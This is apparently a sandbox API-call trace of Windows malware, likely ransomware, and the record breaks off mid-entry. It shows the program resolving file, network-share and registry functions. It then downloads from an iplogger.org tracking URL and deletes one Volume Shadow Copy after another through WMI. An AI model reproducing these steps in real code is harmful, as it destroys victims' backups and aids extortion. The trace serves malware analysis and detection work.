[0030.928] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0032.839] GetProcAddress (hModule=0x75fd0000, lpProcName="SHEmptyRecycleBinA") returned 0x7623f003 [0032.839] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b40000 [0032.931] GetProcAddress (hModule=0x74b40000, lpProcName="WNetEnumResourceW") returned 0x74b43058 [0032.931] GetProcAddress (hModule=0x74b40000, lpProcName="WNetCloseEnum") returned 0x74b42dd6 [0032.931] GetProcAddress (hModule=0x74b40000, lpProcName="WNetOpenEnumW") returned 0x74b42f06 [0032.931] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0032.932] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0032.932] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDriveStringsW") returned 0x76cb436f [0032.932] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0032.932] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLangID") returned 0x76c4d5fd [0032.932] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0032.932] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0032.932] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0032.932] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0032.932] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0032.932] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0032.932] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0032.932] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0032.932] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0032.933] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0032.933] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0032.933] GetProcAddress (hModule=0x76c20000, lpProcName="QueueUserWorkItem") returned 0x76c4ca80 [0032.933] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0032.933] GetProcAddress (hModule=0x76c20000, lpProcName="InterlockedExchangeAdd") returned 0x76c4d39b [0032.933] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0032.933] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0032.933] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0032.933] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0032.933] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0032.933] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0032.933] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0032.933] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0032.933] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0032.934] GetProcAddress (hModule=0x74f40000, lpProcName="GetKeyboardLayoutList") returned 0x74f62e69 [0032.934] GetProcAddress (hModule=0x74f40000, lpProcName="CharLowerW") returned 0x74f57647 [0032.934] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0032.934] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExA") returned 0x74d54907 [0032.934] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExA") returned 0x74d548ef [0032.934] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExA") returned 0x74d514b3 [0032.934] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0032.934] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyA") returned 0x74d4cd01 [0032.934] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0032.934] GetProcAddress (hModule=0x755e0000, lpProcName="CoSetProxyBlanket") returned 0x755f5ea5 [0032.934] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0032.934] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0032.935] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0032.935] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0032.935] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74a80000 [0033.140] GetProcAddress (hModule=0x74a80000, lpProcName="atexit") returned 0x74a9c544 [0033.140] atexit (param_1=0x20920) returned 0 [0033.143] GetUserDefaultLangID () returned 0x409 [0033.161] GetKeyboardLayoutList (in: nBuff=0, lpList=0x0 | out: lpList=0x0) returned 1 [0033.161] GetProcessHeap () returned 0x540000 [0033.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x55f878 [0033.161] GetKeyboardLayoutList (in: nBuff=1, lpList=0x55f878 | out: lpList=0x55f878) returned 1 [0033.161] GetProcessHeap () returned 0x540000 [0033.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55f878 | out: hHeap=0x540000) returned 1 [0033.163] URLDownloadToFileA (param_1=0x0, param_2="https://iplogger.org/1Zqq77", param_3="ntos.database" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ntos.database"), param_4=0x0, param_5=0x0) returned 0x800c0008 [0041.502] CoCreateInstance (in: rclsid=0x40c220*(Data1=0x674b6698, Data2=0xee92, Data3=0x11d0, Data4=([0]=0xad, [1]=0x71, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd8, [6]=0xfd, [7]=0xff)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x40c180*(Data1=0x44aca674, Data2=0xe8fc, Data3=0x11d0, Data4=([0]=0xa0, [1]=0x7c, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0x17f7ec | out: ppv=0x17f7ec*=0x389c660) returned 0x0 [0042.129] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.129] GetProcAddress (hModule=0x76c20000, lpProcName="IsWow64Process") returned 0x76c3195e [0042.129] GetCurrentProcess () returned 0xffffffff [0042.129] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x17f7e4 | out: Wow64Process=0x17f7e4) returned 1 [0042.129] WbemContext:IWbemContext:SetValue (This=0x389c660, wszName="__ProviderArchitecture", lFlags=0, pValue=0x17f7d0*(varType=0x3, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x40, varVal2=0x76c314dc)) returned 0x0 [0042.129] CoCreateInstance (in: rclsid=0x40c210*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x4401, riid=0x40c140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x17f7e0 | out: ppv=0x17f7e0*=0x389c730) returned 0x0 [0042.243] WbemLocator:IWbemLocator:ConnectServer (in: This=0x389c730, strNetworkResource="", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x389c660, ppNamespace=0x17f7f0 | out: ppNamespace=0x17f7f0*=0x389cfdc) returned 0x0 [0043.807] CoSetProxyBlanket (pProxy=0x389cfdc, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x3, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0043.808] IWbemServices:ExecQuery (in: This=0x389cfdc, strQueryLanguage="", strQuery="", lFlags=48, pCtx=0x0, ppEnum=0x17f7e8 | out: ppEnum=0x17f7e8*=0x389d07c) returned 0x0 [0043.815] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0045.314] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x40, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{4FE73A95-BB7F-48F7-BF4C-A89DCEB97CC9}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0045.314] lstrlenW (lpString="{4FE73A95-BB7F-48F7-BF4C-A89DCEB97CC9}") returned 38 [0045.314] GetProcessHeap () returned 0x540000 [0045.314] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0045.314] lstrlenW (lpString="{4FE73A95-BB7F-48F7-BF4C-A89DCEB97CC9}") returned 38 [0045.314] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{4FE73A95-BB7F-48F7-BF4C-A89DCEB97CC9}'") returned 60 [0045.316] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{4FE73A95-BB7F-48F7-BF4C-A89DCEB97CC9}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0046.882] GetProcessHeap () returned 0x540000 [0046.882] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0046.882] IUnknown:Release (This=0x389d0b8) returned 0x0 [0046.882] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0046.885] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5f7774, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{43A11862-374F-4B42-8013-C8A59B8690F4}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0046.885] lstrlenW (lpString="{43A11862-374F-4B42-8013-C8A59B8690F4}") returned 38 [0046.885] GetProcessHeap () returned 0x540000 [0046.885] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0046.885] lstrlenW (lpString="{43A11862-374F-4B42-8013-C8A59B8690F4}") returned 38 [0046.885] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{43A11862-374F-4B42-8013-C8A59B8690F4}'") returned 60 [0046.885] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{43A11862-374F-4B42-8013-C8A59B8690F4}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0047.768] GetProcessHeap () returned 0x540000 [0047.768] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0047.768] IUnknown:Release (This=0x389d0b8) returned 0x0 [0047.768] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0047.769] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a1c44, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{84D74FA3-DE98-47B0-806B-7C5805D67A02}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0047.769] lstrlenW (lpString="{84D74FA3-DE98-47B0-806B-7C5805D67A02}") returned 38 [0047.769] GetProcessHeap () returned 0x540000 [0047.769] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0047.769] lstrlenW (lpString="{84D74FA3-DE98-47B0-806B-7C5805D67A02}") returned 38 [0047.769] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{84D74FA3-DE98-47B0-806B-7C5805D67A02}'") returned 60 [0047.769] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{84D74FA3-DE98-47B0-806B-7C5805D67A02}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0048.588] GetProcessHeap () returned 0x540000 [0048.588] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0048.588] IUnknown:Release (This=0x389d0b8) returned 0x0 [0048.588] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0048.589] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a11a4, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{1D028705-A254-45DE-BE10-D22FA08DBB3A}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0048.590] lstrlenW (lpString="{1D028705-A254-45DE-BE10-D22FA08DBB3A}") returned 38 [0048.590] GetProcessHeap () returned 0x540000 [0048.590] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0048.590] lstrlenW (lpString="{1D028705-A254-45DE-BE10-D22FA08DBB3A}") returned 38 [0048.590] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{1D028705-A254-45DE-BE10-D22FA08DBB3A}'") returned 60 [0048.590] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{1D028705-A254-45DE-BE10-D22FA08DBB3A}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0049.406] GetProcessHeap () returned 0x540000 [0049.406] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0049.406] IUnknown:Release (This=0x389d0b8) returned 0x0 [0049.406] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0049.408] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a1c44, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{51FFEAE1-0810-4889-92A9-E72417EBFA41}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0049.408] lstrlenW (lpString="{51FFEAE1-0810-4889-92A9-E72417EBFA41}") returned 38 [0049.408] GetProcessHeap () returned 0x540000 [0049.408] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0049.408] lstrlenW (lpString="{51FFEAE1-0810-4889-92A9-E72417EBFA41}") returned 38 [0049.408] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{51FFEAE1-0810-4889-92A9-E72417EBFA41}'") returned 60 [0049.408] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{51FFEAE1-0810-4889-92A9-E72417EBFA41}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0050.195] GetProcessHeap () returned 0x540000 [0050.195] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0050.195] IUnknown:Release (This=0x389d0b8) returned 0x0 [0050.195] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0050.197] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a11a4, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{2C8AB63D-F2CE-4F84-96CE-B33DC539136D}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0050.197] lstrlenW (lpString="{2C8AB63D-F2CE-4F84-96CE-B33DC539136D}") returned 38 [0050.197] GetProcessHeap () returned 0x540000 [0050.197] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0050.197] lstrlenW (lpString="{2C8AB63D-F2CE-4F84-96CE-B33DC539136D}") returned 38 [0050.197] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{2C8AB63D-F2CE-4F84-96CE-B33DC539136D}'") returned 60 [0050.197] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{2C8AB63D-F2CE-4F84-96CE-B33DC539136D}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0051.038] GetProcessHeap () returned 0x540000 [0051.039] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0051.039] IUnknown:Release (This=0x389d0b8) returned 0x0 [0051.039] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0051.040] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a1c44, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{E1ADED26-A00D-489F-A2D1-21A5F0FDF97C}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0051.040] lstrlenW (lpString="{E1ADED26-A00D-489F-A2D1-21A5F0FDF97C}") returned 38 [0051.041] GetProcessHeap () returned 0x540000 [0051.041] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0051.041] lstrlenW (lpString="{E1ADED26-A00D-489F-A2D1-21A5F0FDF97C}") returned 38 [0051.041] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{E1ADED26-A00D-489F-A2D1-21A5F0FDF97C}'") returned 60 [0051.041] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{E1ADED26-A00D-489F-A2D1-21A5F0FDF97C}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0052.000] GetProcessHeap () returned 0x540000 [0052.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0052.000] IUnknown:Release (This=0x389d0b8) returned 0x0 [0052.000] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0052.002] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a11a4, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{05121166-67F2-4EA9-83D8-EDC08F680DA7}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0052.002] lstrlenW (lpString="{05121166-67F2-4EA9-83D8-EDC08F680DA7}") returned 38 [0052.002] GetProcessHeap () returned 0x540000 [0052.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0052.002] lstrlenW (lpString="{05121166-67F2-4EA9-83D8-EDC08F680DA7}") returned 38 [0052.002] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{05121166-67F2-4EA9-83D8-EDC08F680DA7}'") returned 60 [0052.002] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{05121166-67F2-4EA9-83D8-EDC08F680DA7}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0052.746] GetProcessHeap () returned 0x540000 [0052.746] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0052.746] IUnknown:Release (This=0x389d0b8) returned 0x0 [0052.746] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0052.748] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a1c44, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{AACD2EA4-29A9-4B07-A4A9-1320561DEC2F}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0052.748] lstrlenW (lpString="{AACD2EA4-29A9-4B07-A4A9-1320561DEC2F}") returned 38 [0052.748] GetProcessHeap () returned 0x540000 [0052.748] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0052.748] lstrlenW (lpString="{AACD2EA4-29A9-4B07-A4A9-1320561DEC2F}") returned 38 [0052.748] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{AACD2EA4-29A9-4B07-A4A9-1320561DEC2F}'") returned 60 [0052.748] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{AACD2EA4-29A9-4B07-A4A9-1320561DEC2F}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0053.523] GetProcessHeap () returned 0x540000 [0053.523] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0053.523] IUnknown:Release (This=0x389d0b8) returned 0x0 [0053.523] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0053.525] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a11a4, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{7199C78C-6563-4398-B813-4A3F86995AEC}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0053.525] lstrlenW (lpString="{7199C78C-6563-4398-B813-4A3F86995AEC}") returned 38 [0053.525] GetProcessHeap () returned 0x540000 [0053.525] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0053.525] lstrlenW (lpString="{7199C78C-6563-4398-B813-4A3F86995AEC}") returned 38 [0053.525] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{7199C78C-6563-4398-B813-4A3F86995AEC}'") returned 60 [0053.525] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{7199C78C-6563-4398-B813-4A3F86995AEC}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0054.415] GetProcessHeap () returned 0x540000 [0054.416] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0054.416] IUnknown:Release (This=0x389d0b8) returned 0x0 [0054.416] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0054.418] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a1c44, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{0F63D180-8A8A-41CF-8B3E-2852647AB192}", varVal2=0x76c314dc), pType=0x0, plFlavor=0x0) returned 0x0 [0054.418] lstrlenW (lpString="{0F63D180-8A8A-41CF-8B3E-2852647AB192}") returned 38 [0054.418] GetProcessHeap () returned 0x540000 [0054.418] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x80) returned 0x5a1118 [0054.418] lstrlenW (lpString="{0F63D180-8A8A-41CF-8B3E-2852647AB192}") returned 38 [0054.418] wnsprintfW (in: pszDest=0x5a1118, cchDest=64, pszFmt="Win32_ShadowCopy.ID='%s'" | out: pszDest="Win32_ShadowCopy.ID='{0F63D180-8A8A-41CF-8B3E-2852647AB192}'") returned 60 [0054.418] IWbemServices:DeleteInstance (in: This=0x389cfdc, strObjectPath="Win32_ShadowCopy.ID='{0F63D180-8A8A-41CF-8B3E-2852647AB192}'", lFlags=0, pCtx=0x389c660, ppCallResult=0x0 | out: ppCallResult=0x0) returned 0x0 [0055.172] GetProcessHeap () returned 0x540000 [0055.172] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1118 | out: hHeap=0x540000) returned 1 [0055.172] IUnknown:Release (This=0x389d0b8) returned 0x0 [0055.172] IEnumWbemClassObject:Next (in: This=0x389d07c, lTimeout=-1, uCount=0x1, apObjects=0x17f7e4, puReturned=0x17f7f4 | out: apObjects=0x17f7e4*=0x389d0b8, puReturned=0x17f7f4*=0x1) returned 0x0 [0055.174] IWbemClassObject:Get (in: This=0x389d0b8, wszName="id", lFlags=0, pVal=0x17f7d0*(varType=0x0, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1=0x5a11a4, varVal2=0x76c314dc), pType=0x0, plFlavor=0x0 | out: pVal=0x17f7d0*(varType=0x8, wReserved1=0x76c3, wReserved2=0xf870, wReserved3=0x55, varVal1="{0B0F76A6-8FD3-471C-82BB-6BFF00FEE5E6}", varVal2=0x76c314dc), 